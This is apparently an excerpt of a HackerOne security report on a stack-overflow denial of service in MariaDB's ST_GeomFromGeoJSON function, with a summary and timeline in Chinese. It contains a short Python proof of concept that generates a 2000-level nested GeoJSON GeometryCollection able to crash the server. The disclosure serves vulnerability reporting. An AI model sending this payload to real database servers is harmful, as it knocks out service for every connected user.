Stack Overflow DoS in ST_GeomFromGeoJSON Allows Any Authenticated User to Crash the Entire Server
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原文摘录
摘自原文（7434 字符中的一小部分）
Any authenticated user with basic SELECT privileges can crash the entire MariaDB server process by passing a deeply nested GeoJSON GeometryCollection to `ST_GeomFromGeoJSON()`. The crash kills all active connections and requires a full server restart. The root cause is unbounded recursion in the …
原文中的代码
payload = '{"type":"Point","coordinates":[0,0]}'
for i in range(2000):
payload = '{"type":"GeometryCollection","geometries":[' + payload + ']}'
print(payload)默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 MariaDB 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @byteoverride · 版权归作者与 MariaDB 所有